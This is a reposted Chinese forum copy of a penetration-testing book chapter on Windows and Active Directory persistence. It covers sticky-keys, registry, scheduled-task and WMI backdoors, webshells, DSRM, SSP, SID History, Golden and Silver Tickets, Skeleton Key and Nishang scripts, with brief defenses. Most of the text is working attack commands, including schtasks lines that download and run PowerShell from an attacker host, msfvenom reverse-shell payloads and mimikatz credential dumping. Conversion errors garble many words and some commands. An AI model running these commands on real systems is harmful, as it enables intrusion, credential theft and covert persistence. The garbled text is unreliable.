请选择 进入手机版 | 继续访问电脑版

第8章权限维持分析及防御

[复制链接]
尊悦模具刘沛昌 发表于 2020-12-31 19:21:34 | 显示全部楼层 |阅读模式 打印 上一主题 下一主题
目次
 
第8章权限维持分析及防御
8.1操作系统后门分析与防范
8.1.1粘滞键后门
8.1.2注册表注入后门
8.1.3计划任务后门
8.1.6WMI型后门
8.2 Web后门分析与防范
8.3域控制器权限长期化与分析
8.3.1 DSRM 域后门
8.2 SSP 维持域控权限
8.3.3 SID History域后门
8.3.4 Golden Ticket
8.3.5 Silver Ticket
8.3.6 Skeleton Key
8.3.7 Hook PasswordChangeNotify
8.4 Nishang 下的脚本后门分析与防范
第8章权限维持分析及防御

后门是一个留在目标主机上的软件,它可以使攻击者随时与目标主机进行毗连。在大多数情况下,后门是一个运行在目标主机上的隐藏进程。因为后门大概允许一个平凡的授权的用户控制盘算机,所以攻击者常常使用后门来控制服务器。攻击者在提升权限之后,往往会通过创建后门来维持对目标主机的控制权。这样一来,纵然修复了被攻击者利用的系统毛病,攻击者照旧可以通事后门继承控制目标系统。因此如果我们可以大概相识攻击者在系统中创建后门的方法和思路,就可以在发现系统被人侵后快速找到攻击者留下的后门并将其清除。
 
8.1操作系统后门分析与防范

操作系统后门,泛指绕过目标系统安全控制体系的正规用户认证过程来维持对目标系统的控制权及隐匿控制行为的方法。系统维护人员可以清除操作系统中的后门,以规复目标系统安全控制体系的正规用户认证过程。
 
8.1.1粘滞键后门

粘滞键后门是一种比力常见的一连控制方法。在Windors主机上一连按5次"Shit" 健,就可以调出粘滞键。Windws 的粘滞键主要是为无法同时按多个按键的用户设计的,比方,在使用组合健Curl+P时用户需要同时按下"Cur"和P两个键,如果使用粘滞键来实现组合键"Ctrl+P"的功能,就只需按一个键。
用可执行文件sethe.exe.bak替换windows\system32目次下的sethc.exe
  1. cd windows\system32move sethc.exe sethc.exe.bakcopy comd.exe sethc.exe    #一连按5次shift键,将弹出下令行窗口。可以直接以system权限执行系统下令
复制代码
使用empire
  1. (Empire: VTHWYU2M) > usemodule lateral_movement/invoke_wmi_debugger(Empire: powershell/lateral_movement/invoke_wmi_debugger) > info(Empire: powershell/lateral_movement/invoke_wmi_debugger) > set Listener sec(Empire: powershell/lateral_movement/invoke_wmi_debugger) > set ComputerName win7(Empire: powershell/lateral_movement/invoke_wmi_debugger) > set TargetBinary sethc.exe(Empire: powershell/lateral_movement/invoke_wmi_debugger) > execute在目标系统上一连按5次shift键触发后门
复制代码

 
针对粘滞键后门,可以采取如下防范步伐。


  • 在远程登录服务器时,一连按5次“"Shift” 键,判断服务器是否被人侵。
  • 拒绝使用setch.exe大概在“控制面板”中关闭“启用粘滞键”选项。
 
8.1.2注册表注入后门

在平凡用户权限下,攻击者会将需要执行的后门步伐大概脚本路径填写到注册表键HKCU:Sofware\Microsoft\Windows\CurrentVersion\Run中( 键名可以任意设置)。
在Empire下也可以实现这-功能。 输人"usemodule persistence/userland/registry"下令,模块运行后,会在目标主机的启动项里增加一个下令。
  1. (Empire: Y9XHUM1V) > usemodule persistence/userland/registry(Empire: powershell/persistence/userland/registry) > set Listener sec(Empire: powershell/persistence/userland/registry) > set RegPath HKCU:Software\Microsoft\Windows\CurrentVersion\Run(Empire: powershell/persistence/userland/registry) > execute当管理员登岸系统时,后门就会运行,反弹乐成
复制代码


 
杀毒软件针对此类后门有专门的查杀机制,当发现系统中存在后门时会弹出提示框。根据提示内容,采取相应的步伐,即可删除此类后门。
 
8.1.3计划任务后门


计划任务在Windows7及之前版本的操作系统中使用at下令调用,在从Windows8 版本开始的操作系统中使用schtasks 下令调用。计划任务后门分为管理员权限宁静凡用户权限两种。管理员权限的后门可以设置更多的计划任务,比方重启后运行等。
计划任务后门的根本下令如下。该下令表示每小时执行一次 notepad.exe。
  1. schtasks /Create /tn Updater /tr notepad.exe /sc hourly /mo 1
复制代码

常见的渗透测试平台中模拟计划任务后门进行安全测试的方法。
1.在Metaplont中模报计划任务后门
使用Poweshell payload web delivery模块,可以模拟攻击者在目标系统中快速创建会话的行为。因为该行为不会被写人磁盘, 所以安全防护软件不会对该行为进行检测。
  1. msf6 > use exploit/multi/script/web_delivery msf6 exploit(multi/script/web_delivery) > set target 2target => 2msf6 exploit(multi/script/web_delivery) > set payload windows/meterpreter/reverse_tcppayload => windows/meterpreter/reverse_tcpmsf6 exploit(multi/script/web_delivery) > set lhost 1.1.1.6lhost => 1.1.1.6msf6 exploit(multi/script/web_delivery) > set lport 443lport => 443msf6 exploit(multi/script/web_delivery) > set URIPset URIPATH  set URIPORT  msf6 exploit(multi/script/web_delivery) > set URIPATH /URIPATH => /msf6 exploit(multi/script/web_delivery) > exploit
复制代码

在目标系统中输入生成的后门代码,生成新的会话
  1. C:\Users\Administrator.US>schtasks /create /tn WindowsUpdate /tr "c:\windows\system32\powershell.exe -WindowStyle hidden -NoLogo -NonInteractive -ep bypass -nop -c 'IEX ((new-object net.webclient).downloadstring("http://1.1.1.6:443/"))'" /sc onlogon /ru System
复制代码

  1. (1)用户登录schtasks /create /tn WindowsUpdate /tr "c:\windows\system32\powershell.exe -WindowStyle hidden -NoLogo -NonInteractive -ep bypass -nop -c 'IEX ((new-object net.webclient).downloadstring("http://1.1.1.6:443/"))'" /sc onlogon /ru System(2)系统启动schtasks /create /tn WindowsUpdate /tr "c:\windows\system32\powershell.exe -WindowStyle hidden -NoLogo -NonInteractive -ep bypass -nop -c 'IEX ((new-object net.webclient).downloadstring("http://1.1.1.6:443/"))'" /sc onstart /ru System(3)系统空闲schtasks /create /tn WindowsUpdate /tr "c:\windows\system32\powershell.exe -WindowStyle hidden -NoLogo -NonInteractive -ep bypass -nop -c 'IEX ((new-object net.webclient).downloadstring("http://1.1.1.6:443/"))'" /sc onidle /i 1
复制代码
 
2.在PowerSploit中模拟计划任务后门
  1. 生成persistence.ps1,是计划任务执行的payloadPS C:\Users\Administrator.US\Downloads> Import-Module .\Persistence.psm1$ElevateOptions = New-ElevatedPersistenceOption -ScheduleTask -OnIdle$UserOptions = New-UserPersistenceOption -ScheduledTask -OnIdleAdd-PERSISTENCE -FilePath ./shuteer.ps1 -ElevatedPersistenceOption$ElevatedOptions -UserPersistenceOption $UserOptions -Verbose
复制代码
  1. msfvenom -p windows/x64/meterpreter/reverse_https lhost=1.1.1.6 lport=443 -f psh-reflection -o shuteer.ps1
复制代码
将上边生成的persistence.ps1放到web服务器,在目标主机中执行。当主机处于空闲时,就会执行如下下令。反弹一个meterpreter会话。
  1. powershell -nop -exec bypass -c "IEX (New-Object Net.WebClient).DownloadString('http://1.1.1.6/Persistence.ps1');"
复制代码
 
3.在empire中模拟计划任务后门
  1. (Empire: KB5XYCVA) > usemodule persistence/elevated/schtasks(Empire: powershell/persistence/elevated/schtasks) > set DailyTime 17:37(Empire: powershell/persistence/elevated/schtasks) > set Listener sec(Empire: powershell/persistence/elevated/schtasks) > execute
复制代码

 
对计划任务后门,有效的防范步伐是:安装安全防护软件并对系统进行扫描;实时为系统打补丁;在内网中使用强度较高的暗码。
 
8.1.6WMI型后门

WMI型后门只能由具有管理员权限的用户运行。WMI型后门通常是用PowerShell编写的可以直接重新的WMI属性中读取和执行后门代码、给代码加密。通过这种方法,攻击者可以在系统中安装一个具有长期性的后门,且不会在系统磁盘中留下任何文件。WMI型后门主要使用了WMI的两个特征,即无文件和无进程。其根本原理是:将代码加密存储于WMI中,达到所谓的“无文件";当设定的条件被满足时,系统将自动启动PowerShell 进程去执行后门步伐,执行后,进程将会消失(一连时间根据后门的运行情况而定,一般是几秒).达到所谓的“无进程”。

在Empire下使用Invoke-WMI模块。
  1. (Empire: KB5XYCVA) > usemodule persistence/elevated/wmi(Empire: powershell/persistence/elevated/wmi) > info(Empire: powershell/persistence/elevated/wmi) > set DailyTime 17:45(Empire: powershell/persistence/elevated/wmi) > set Listener sec(Empire: powershell/persistence/elevated/wmi) > run
复制代码

 
查抄目标主机主是否存在WMI后门
  1. PS C:\Users\Administrator.US\Downloads> Get-WmiObject -Namespace root\Subscription -Class CommandLineEventConsumer -FILTER "Name='Updater'"
复制代码

 
清除WMI后门得到方法:删除自动运行列表中的恶意WMI条目,在powershell中用get-wmiobject下令删除与WMI长期化的组件。
 
 
8.2 Web后门分析与防范


Web后门俗称WebShell,是一段包罗 ASP、ASP.NET、PHP、JSP步伐的网页代码。这些代码都运行在服务器上。攻击者会通过一-段经心设计的代码, 在服务器上进行一些危险的操作, 以获取某些敏感的技能信息,大概通过渗透和提权来得到服务器的控制权。IDS、杀毒软件和安全工具一般都能将攻击者设置的Web后门检测出来。不外,有些攻击者会编写专用的Web后门来隐藏自己的行为。
 
8.2.1Nishang下的WebShell
 
8.2.2 weevely 后门
weevely 是款用 Python语言编写的针对PHP平台的WebShell 其主要功能如下。


  • 执行下令和测览远程文件。
  • 检测常见的服务器设置问题。
  • 创建TCP Shell和Reverse Shell,
  • 扫除描端口。
  • 安装HTTP署理。
  1. weevely url password cmd    #毗连一句话weevely session path cmd    #加载会话文件weevely generate password path    生成后门署理
复制代码
生成一句话并上传至目标服务器
  1. weevely generate test test.php    weevely http://1.1.1.6/test.php test
复制代码

  1. audit_suidsgid    通过SUID和SGID查找文件,audit_filesystem    用于进行错误权限审计的系统文件。audit_etcpasswd    通过其他方式获取的暗码,shell_php    执行PHP下令。shell_sh     执行Shell下令。shell_su     利用su下令提权。system_extensions    收集PHP和Web服务器的延伸列表,system_info        收集系统信息。backdoor_tcp     在TCP端口处生成一个后门。sql_dump         导出数据表。sql_console      执行SQL查询下令大概启动控制台。net_ifconfig     获取目标网络的地点。net_proxy        通过本地HTTP端口设置署理。net_scan        扫描TCP端口。net_curl        远程执行HTTP请求。net_phpproxy    在目标系统中安装PHP署理。
复制代码

 
 
8.3域控制器权限长期化与分析


在得到域控制器的权限后,攻击者通常会对现有的权限进行长期化操作。本节将分所攻击者在拥有域管理员权限后将权限长期化的方法,并给出相应的防范步伐。
 
8.3.1 DSRM 域后门

1. DSRM域后门简介
DSRM ( Directory Services Restore Mode,目次服务规复模式)是Windows域情况中域控制器的安全模式启动选项。每个域控制器都有一个本地管理员账户 (也就是DSRM账户)。DSRM的用途是:允许管理员在域情况中出现故障或瓦解时还原、修复、重建运动目次数据库,使域情况的运行规复正常。在域情况创建初期,DSRM的暗码需要在安装DC时设置,且很少会被重置。修改DSRM暗码最根本的方法是在DC上运行ntdsutil 下令行工具。在渗透测试中,可以使用DSRM账号对域情况进行长期化操作。如果域控制器的系统版本为Windows Server 2008,需要安装KB961320才可以使用指定域账号的暗码对DSRM的暗码进行同步。在Windows Server 2008以后版木的系统中不需要安装此补丁。如果域控制器的系统版本为Windows Server 2003则不能使用该方法进行长期化操作。
我们知道,每个域控制器都有本地管理员账号和暗码(与城管理员账号和暗码差异)。DSRM账号可以作为一个域控制器的本地管理品用户, 通过网络毗连城控制器, 进而控制域控制器。
2.修改DSRM暗码的方法
微软公布了修改DSRM暗码的方法。在城控制器上打开令行情况,常用下令说明如下,
  1. NTDSUTIL: 打开ndsuilset dsrm password:设置DSRM的暗码。reset pssword on server null:在当前域控制器上规复DSRM暗码。:修改后的暗码。q(第1次):退出DSRM暗码设置模式。 q(第2次):退出ntdsutil
复制代码

如果域控制器的系统版本为Windows Server 208已安装KB961320 及以上,可以将DSRM暗码同步为已存在的域账号暗码。常用下令说明如下。
  1. NTDSUTIL: 打开ntdsutil。SET DSRM PASSWORD:设置DSRM的暗码。SYNC FROM DOMAIN ACCOUNT domainusername:使DSRM的暗码和指定域用户的暗码同步。q(第1次):退出DSRM暗码设置模式。q(第2次):退出ntdsutil。
复制代码

3.实验操作
(1)使用mimikatz查察krbtgt 的NTLM Hash在域控制器中打开mikaiz,分别输人如下下令。
  1. privilege::debuglsadump::lsa /patch /name:krbtgt
复制代码

(2)mimikatz查察并获取SAM文件中本地管理员的NTML
  1. token::elevatelsadump::sam
复制代码

 
(3)将DSRM账号和krbtgt的NTML HASH同步
  1. PS C:\Users\Administrator\Desktop> NTDSUTILC:\Windows\system32\ntdsutil.exe: SET DSRM PASSWORD重置 DSRM 管理员暗码: SYNC FROM DOMAIN account krbtgt已乐成同步暗码。重置 DSRM 管理员暗码: qC:\Windows\system32\ntdsutil.exe: q
复制代码

 
(4)查察DSRM的NTML Hash是否同步乐成

 
(5)修改DSRM的登录方式
DSRM的三种登录方式,详细如下。


  • 0:默认值,只有当城控制器重启并进入DSRM模式时,才可以使用DSRM管理员账号。
  • 1: 只有当本地AD、DS服务停止时,才可以使用DSRM管理员账号登录域控制器。
  • 2:在任何情况下,都可以使用DSRM管理员账号登录域控制器。
在渗透测试中需要注意,在Windows Server 2000以后版本的操作系统中,对DSRM使用控制台登录域控制器进行了限制。
如果要使用DSRM账号通过网络登录域控制器,需要将该值设置为2。输人如下下令,可以使用PowerShell进行更改
  1. New-ItemProperty "hklm:\system\currentcontrolset\control\lsa" -name "dsrmadminlogonbehavior" -value 2 -propertyType DWORD
复制代码

 

(6)使用DSRM账号通过网络远程登录域控制器
使用mimikatz进行哈希通报
  1. privilege::debugsekurlsa::pth /domain:WIN-2012 /user:Administrator /ntml:6c4a2964d522d7160865d90f88392aac
复制代码

(7)使用Mimikatz的scysnc功能远程转储krbtgt的NTML Hash
  1. lsadump::dcsync /domain:pentest.com /dc:dc /user:krbtgt
复制代码
 
DSRM域后门的防御步伐


  • 定期查抄注册表中用于控制DSRM登录方式的键值hklm:\system\currentcontrolset\control\lsa\确认该键值为1, 大概删除该键值。
  • 定期修改城中所有城控制器的DSRM账号。
  • 常常查抄ID为4794的日志。当试设置运动目次服务还原模式的管理员暗码会被记载在4794日志中。
 
 
 
8.2 SSP 维持域控权限


SSP(Security Support Provider)是Windows操作系统安全机制的提供者。简单地说,SSP是个DlL文件,主要用来实现Windows操作系统的身份认证功能,比方NTLM、Ketberos,Negotiare. Seure Channe (Schannel )、Digest、Credental ( CredSSP )。
SSPI ( Security Support Provider Interfce.安全支持提供步伐接口)是Windows操作系统在执行认证操作时使用的API接口。可以说,SSPI是SSP的API接口。
如果得到了网络中目标呆板的System权限,可以使用该方法进行长期化操作。其主要原理是: LSA (Local Security Authority)用于身份验证; lsass.exe 作为Windows的系统进程,用于本地安全和登录战略;在系统启动时,SSP 将被加载到lsass.exe进程中。但是,如果攻击者对LSA进行了扩展,自界说了恶意的DLL文件,在系统启动时将其加载到lsass.exe进程中,就可以大概获取lsass.exe进程中的明文暗码。这样,纵然用户更改暗码并重新登录,攻击者依然可以获取该账号的新暗码。

第一个实验是使用mimikatz将伪造的SSP注人内存。这样做不会在系统中留下二进制文件,但如果域控制器重启,被注人内存的伪造的SSP将会丢失。在实际网络维护中,可以针对这一点采取相应的防御步伐。
  1. privilege::debugmisc::memssp
复制代码
注销当前用户。输入用户名和暗码后重新登录,获取明文暗码,暗码存储在日志文件C:\Windows\System32\mimilsa.log中。



第二个实验是将mimikatz中的mimilib.dll放到系统的C:\Windows\System32\目次下,并将mimilib添加到注册表中。使用这种方法,系统重启也不会影响长期化的效果。
将mimikatz中的mimilib.dll复制到系统的C:\Windows\System32\目次下
 
修改HKEY_LOCAL_MACHINE/System/CurrentControlSet/Control/Lsa/Security Packages 项,加载新的DLL文件
 

2. SSP维持域控制器权限的防御步伐


  • 查抄HKEY LOCAL MCNSSrCnContooCotroro sScrt Packages 项中是否含有可疑的DLL文件。
  • 查抄C:WindowsSystem32\目次下是否有可疑的DLL文件。
  • 使用第三方工具查抄LSA中是否有可疑的DLL文件。
 
 
8.3.3 SID History域后门


每个用户都有自己的SID。SID的作用主要是跟踪安全主体控制用户毗连资源时的访问权限。SID History是在域迁移过程中需要使用的个属性。如果将A域中的域用户迁移到B域中,那么在B域中新建的用户的SID会随之改变,进而影响迁移后用户的权限,导致迁移后的用户不能访问原来可以访问的资源。SID History的作用是在域迁移过程中保持域用户的访问权限,即如果迁移后用户的SID改变了,系统会将其原来的SID添加到迁移后用户的SID History属性中,使迁移后的用户保持原有权限、可以大概访问其原来可以访问的资源。使用mikaz,可以将SID History 属性添加到域中任意用户的SID History 属性中。在渗透测试中,如果得到了域管理员权限(大概等同于域管理员的权限).就可以将SIDHisoy作为实现长期化的方法。
1.实验操作
将Anisatorn的SID添加到恶意用户test 的SID History属性中。使用powershell查察用户的SID History属性
  1. PS C:\Users\Administrator> Import-Module ActiveDirectoryPS C:\Users\Administrator> Get-ADUser test -Properties sidhistory
复制代码

打开一个具有域管理员权限的下令行窗口,然后打开mimikatz将Admnistrator的SID添加到test用户的SID Histery 属性中。需要注意的是:在使用mimikatz注人SID之前,需要使用*sid ::patch"下令修复NTDS服务,否则无法将高权限的SID注人低权限用户的SID
Hisory属性: mimkaz在2.1版本以后,将mscasidd模块转移到了sid::add模块下。
  1. privilege::debugsid::add /sam:test /new:Administrator
复制代码
再次使用PowerShell查察test用户的SID History,实验列出域控制器C盘的目次 dir \\dc\c$
 
2.SID History域后门的防御步伐


  • 可以通过注入 SID History属性完发展期化任务。
  • 拥有高权限 SID的用户,可以使用PowerShell远程导出域控制器的ntds.dit。
  • 如果不再需要通过 SID History属性实现长期化,可以使用sid::clear /sam:username 清除SID History的属性。
SID History域后门的防御步伐如下。


  • 常常查察域用户中SID为500的用户。
  • 完成域迁移工作后,对有相同SID History属性的用户进定期查抄ID为4765和4766的日志。4765为将 SID Histtory属性添加到用户的日志。4766为将SID History属性添加到用户失败的日志。
 
8.3.4 Golden Ticket


在渗透测试过程中,如果发现系统中存在恶意行为,应实时更改域管理员暗码,对受控呆板进行断网处理处罚,然后进行日志分析及取证。然而,攻击者往往会给自己留下多条进入内网的通道,如果我们忘记将krbtgt 账号重置,攻击者就能快速重新那会域控制器权限。

在本节的实验中,假设域内存在一个SID为502的域账号krbtgt。 krbtgt是 KDC服务使用的账号,属于Domain Admins组。在域情况中,每个用户账号的票据都是由krbtgt生成的,如果攻击者拿到了krbtgt 的 NTLM Hash大概 AES-256值,就可以伪造域内任意用户的身份,并以该用户的身份访问其他服务。攻击者在使用域的 Golden Ticket(黄金票据)进行票据通报攻击时,通堂要堂握以下信息。


  • 需要伪造的域管理员用户名。
  • 完整的域名。
  • 域SID。krbtgt 的 NTLM Hash或AES-256值。
下面通过一个实验来分析 Golden Ticket


  • 域控制器:1.1.1.13
  • 域名:us.pentest.com
  • 用户名:administrator
  • 暗码:123456Aa
域成员服务器


  • 1.1.1.7
  • 域名:us.pentest.com
  • 用户名:Administrator
1.导出krbtgt的NTML Hash
  1. privilege::debuglsadump::dcsync /domain:us.pentest.com /user:krbtgt
复制代码
该方法使用DCSYNC功能远程转储运动目次中的ntds.dit。指定/user参数,可以只导出krbtgt账号的信息。
 
2.获取根本信息
  1. (1)获取域SIDwmic useracoount get name,id(2)获取当前用户的sidwhoami /user(3)查询域管理员账户net group "domain admins" /domain(4)查询域名ipconfig /all
复制代码
 
3.实验操作
  1. 在获取目标主机的权限后,查察当前用户及其所属的组。net user Administrator /domaindir \\dc\c$    在注入票据前会提示权限不敷。(1)清空票据kerberos::purge(2)生成票据,使用mimikatz生成包罗krbtgt身份的票据kerberos::golden /admin:Administrator /domain:us.pentest.com /sid:    /krbtgt:    /ticket:Administrator.kiribi(3)通报票据并注入内存kerberos::ptt Administrator.kiribi(4)检索当前会话中的票据kerberos::tgt
复制代码
 
4.验证权限
  1. dir \\dc\c$在当前会话中使用wmiexec.vbs验证cscript wmiexec.vbs /shell dc使用krbtgt的AES-256生成票据并将其注入内存,也可以伪造用户。kerberos::golden /admin:Administrator /domain:us.pentest.com /sid:    /aes256:    /ticket:Administrator.kiribi
复制代码
 
5. Golden Ticket 攻击的防御步伐

管理员通常会修改域管理员的暗码,但有时会忘记将 krbtgt暗码一并重置,所以,如果想防御 Golden Ticket攻击,就需要将krbtgt暗码重置两次。
使用Golden Ticket 伪造的用户可以是任意用户(纵然这个用户不存在)。因为 TGT的加密是由krbtgt完成的,所以,只要 TGT被krbtgt账户和暗码正确地加密,那么任意KDC使用krbtgt将TGT解密后,TGT中的所有信息都是可信的。只有在如下两种情况下才能修改krbtgt暗码。


  • 域功能级别从 Windows 2000或 Windows Server 2003提升至Windows Server 2008或WindowsServer 2012。在提升域功能的过程中,krbtgt的暗码会被自动修改。在大型企业中,域功能级别的提升耗时费力,绝大多数企业不会去提升自己的域功能级别,而这给 Golden Ticket攻击留下了可乘之机。
  • 用户自行进行安全查抄和相关服务加固时会修改krbtgt 的暗码。
 
8.3.5 Silver Ticket

Silver Ticket(白银票据差异于 Golden Ticket, Silver Ticket的利用过程是伪造TGS,通过已知的授权服务暗码生成一张可以访问该服务的TGT。因为在票据生成过程中不需要使用KDC,所以可以绕过域控制器,很少留下日志。而Golden Ticket在利用过程中需要KDC颁发TGT,且在生成伪造的TGT 的20分钟内,TGS不会对该TGT 的真伪进行校验。
Silver Ticket 依赖于服务账号的暗码散列值,这差异于 Golden Tickett账号的暗码散列值,因此更加隐蔽。
Golden Ticket使用krbtgt账号的暗码散列值,利用伪造高权限任意服务访回权限的票据,从而得到域控制器权限。而Silver Ticket会通过相应的服务账号来伪造TGS,比方LDAP、 MSSQL、WinRM、 DNS、CIFS 等,范围有限,只能获取有限的权限。
Golden Ticket是由krbtgt账号加密的,而Silver Ticket是由特定的服务账号加密的。

击者在使用si ide对内网进行攻击时,需要掌握以下信息。


  • 域名
  • 域SID
  •  目标服务器的FQDN
  • 可利用的服务
  • 服务账号的NTLM Hash
  • 需要伪造的用户名
1实验:使用Silver Ticket伪造CIFS服务权限

CIFS服务通常用于Windows主机之间的文件共享。
在本实验中,首先使用当前域用户权限,查询对域控制器的共享目次的访问权限
  1. dir \\dc\c$mimikatz log "privilege::debg" "sekurlsa::logonpasswords"    获取服务账户的NTMLklist purge    清空票据,防止干扰使用伪造的silver ticket,在不能访问域控制器共享目次的呆板中输入kerberos::golden /domain:us.pentest.com /sid:    /target:pentest.com /service:cifs /ec4: /user:administrator /ptt验证权限
复制代码
 
2.实验:使用Silver Ticket伪造LDAP服务权限
在本实验中,使用deyne从域控制器中获取指定用户的账号和暗码散列值,比方krbtgt,测试以当前权限是否可以使用dcsync
  1. lsadump::dcsync /dc:us.pentest.com /domain:pentest.com /user:krbtgt获取失败,说明不能以当前权限进行dcsync操作
复制代码

  1. 在域控中获取服务账号的NTMLmimikatz log "privilege::debug" "sekurlsa::logonpasswords"
复制代码

  1. klist purge 使用mimikatz生成伪造的Silver Ticketkerberos::golden /domain:pentest.com /sid:    /target:us.pentest.com /service LDAP /rc4:    /user:test /pttlsadump::dcsync /dc:us.pentest.com /domain:pentest.com /user:krbtgt    再次查询散列值
复制代码
Silver Ticket还可用于伪造其他服务,比方创建和修改计划任务、使用WMI对远程主机执行下令、使用PowerShell对远程主机进行管理等

3. Silver Ticket攻击的防御步伐


  • 在内网中安装杀毒软件,实时更新系统补丁。
  • 使用组战略在域中进行相应的设置,限制mimikatz在网络中的使用
  • 盘算机的账号和暗码默认每30天更改次。 查抄该设置是否生效
 
 
8.3.6 Skeleton Key

使用Skeleton Key(万能暗码),可以对域内权限进行长期化操作。
实验情况
域名:lab.com
域控制器


  • 主机名:dc
  • 1.1.1.12
  • administrator
成员服务器


  • 主机名:win7
  • 1.1.1.7
  • 用户名:test
1.在mimikatz中实验Skeleton Key
  1. dir \\1.1.1.12\c$    #权限不敷net use \\1.1.1.12\ipc$ "123456Aa" /user:pentest.lab\administrator在域控制器中管理员权限打开mimikatz,将Skeleton Key注入域控中的lsass.exe进程privilege::debugmisc::skeleton注入乐成后,会在域内所有的账号中添加一个Skeleton Key,默认暗码为mimikatz。接下来可以在域内任意用户的身份,共同该Skeleton Key,进行域内身份验证授权了。在不使用域管理员原始暗码的情况下,使用注入的万能暗码。net usenet use \\1.1.1.12\ipc$ /del /ynet use \\1.1.1.12\ipc$ "mimikatz" /user:pentest.lab\administratordir \\dc\c$
复制代码
 
2.在empire中使用Skeleton KEY
  1. (Empire: agents) > interact KFSV7YB1(Empire: KFSV7YB1) > usemodule persistence/misc/skeleton_key(Empire: powershell/persistence/misc/skeleton_key) > execute将skeleton_key注入后,empire提示可以通过mimikatz进入系统
复制代码

 
3. Skeleton Key攻击的防御步伐
2014年,微软在Windows操作系统中增加了LSA掩护战略,以防止Isass.cxe进程被恶意注入。从而防止mimikatz在非允作的情况下提升到debug权限。通用的Skeleton Key的防御步伐枚举如下。


  • 域管理员用户要设置强口令,确保恶意代码不会在城控制器中执行。
  • 在所有城用户中启用双因子认证,比方智能卡认证。
  • 启动(比方应用步伐白名单比方AppLocker以限制mimikatz在域控制器中的运行。
  • 在日常网络维护中注意以下方面,也可以有效防范Skeleton Key
  • 只能在64位操作系统中使用,包罗WinwnSren2012、Winds Sener 2012、Windows Sever 200 Windows Sever 2008 R2、WindowServer 2003 R2、Windows Server 2003。
  • 只有具有城管理员权限的用户可以将SleloKeo注人城控制器的lass cxe进程。
  • Seleton Key被注人后,用户使用现有的暗码仍然可以登录系统。
  • 因为Selcton Key是被注入lsass.exeexe进程的,所以它只存在于内存中。如果域控制器重启,注人的Skeleton Key将会失效。
 
8.3.7 Hook PasswordChangeNotify


Hook PaswordChangeNoify的作用是当用户修改暗码后在系统中进行同步。攻击者可以利用该功能获取用户修改暗码时输人的暗码明文。
在修改暗码时,用户输人新暗码后,LSA会调用PasswordFileter来查抄该暗码是否符合复杂性要求。如果暗码符合复杂性要求,LSA会调用PasswordChangeNotify,在系统中同步暗码。
1.实验操作
分别输人如下下令,使用Invoke RefletivePEIniection.psl将HookPasswordChange.dl注人内存,在目标系统中启动管理员权限的PowerShell
  1. Import-Module .\Invoke-ReflectivePEInjection.pslInvoke-ReflectivePEInjection -PEPath HookPasswordChange.dll -procname lsass
复制代码
修改用户暗码
  1. net user administrator 123查察c:\windows\temp\passwords.txt可以看到修改后的暗码
复制代码
 
2. Hook PasswordChangeNotify的防御步伐
使用Hook PasswordChangeNotify方法不需要重启系统、不会在系统磁盘中留下DLL文件、不需要修改注册表。如果PasswordChangeNotify被攻击者利用,网络管理员是很难检测到的。所以,在日常网络维护工作中,需要对PowerShell进行严格的监视,并启用约束语言模式,对HookPasswordChangeNotify进行防御。
 

8.4 Nishang 下的脚本后门分析与防范



Nishang 是基于Porsthel的渗透测试工具,集成了许多框架、脚本及各种 Payload在Nishang情况中对一些脚本后门进行分析。
 
1. HTTP-Backdoor脚本
此脚本可以资助攻击者在目标主机上下载和执行Powershell脚本,吸收来自第三方网站的指令,在内存中执行PowerShell脚本,其语法如下。
 
  1. TTP-Backdoor -CheckURL http://  -PayloadURL http://   -MagicString start -StopString stopCheckURL:给出一个URL地点。如果该地点存在,Magistring中的值就会执行Payload,下载并运行攻击者的脚本。-PayloadURL: 给出需要下载的PowerShell脚本的地点。-StopString: 判断是否存在CheckURL返回的字符串,如果存在则停止执行。
复制代码
2.Add-ScrnSaveBackdoor
  1. Add ScrnSaveBackdoor脚本可以资助攻击者利用Windows的屏幕掩护步伐来安插一个隐藏的后门Add-ScrnSaveBackdoor -Payload "powershe1l.exe -ExecutionPolicy Bypass -ncprofile -noexit -c Get-Process"    ##执行PayloadAdd-ScrnsaveBackdoor -PayloadURL http://192.168.254.1/Powerpreter.psm -Arguments HTTP-Backdoor http://... start123 stopthis    #在PowerShell中执行一个HTTP-Backdoor脚本Add-ScrnSaveBackdoor -PayloadURL http://192.168.254.1/code exec.psl -PayloadURL:指定需要下载的脚本的地点。Arguments:指定需要执行的函数及相关参数。攻击者也会使用msfvenom生成一个PowerShell, 然后执行如下下令,返回一个meterpreter。msfvenom -p windows/x64/meterpreter/reverse_https LHOST=192.168.254.226 -f powershell
复制代码
 
3. Execute- -OnTime
 
  1. Execute-OnTime脚本用于在目标主机上指定PowerShell脚本的执行时间,与HTTP-Backdoor脚本的使用方法相似,只不外增加了定时功能,其语法如下。PS > Execute-OnTime -PayloadURL http://pastebin.com/raw.php?i=Zhyf8rwh -Arguments Get- Information -Time 23:21 -CheckURL http:/ /pastebin. com/ raw .php?i=zhyf8rwh一 Stopstring stoppayloadPayloadURL:指定下载的脚本的地点。-Arguments: 指定要执行的函数名。-Time: 设置脚本执行的时间,比方“-Time 23:21”。-CheckURL:检测一个指定的URL里是否存在StopString给出的字符串,如果存在就停止执行。
复制代码
 
4. Invoke- ADSBackdoor
Invoke-ADSBackdoor脚本可以大概在NTFS数据流中留下一个 永久性的后门。这种方法的威胁是很大的,因为其留下的后门是永久性的,且不容易被发现。
Invoke-ADSBackdoor脚本用于向ADS注人代码并以平凡用户权限运行。
PS >Invoke-ADSBackdoor -PayloadURL http://192.168.12.110/test.ps1
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 

来源:https://blog.csdn.net/qq_34640691/article/details/111926068
免责声明:如果侵犯了您的权益,请联系站长,我们会及时删除侵权内容,谢谢合作!
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

发布主题

专注素材教程免费分享
全国免费热线电话

18768367769

周一至周日9:00-23:00

反馈建议

27428564@qq.com 在线QQ咨询

扫描二维码关注我们

Powered by Discuz! X3.4© 2001-2013 Comsenz Inc.( 蜀ICP备2021001884号-1 )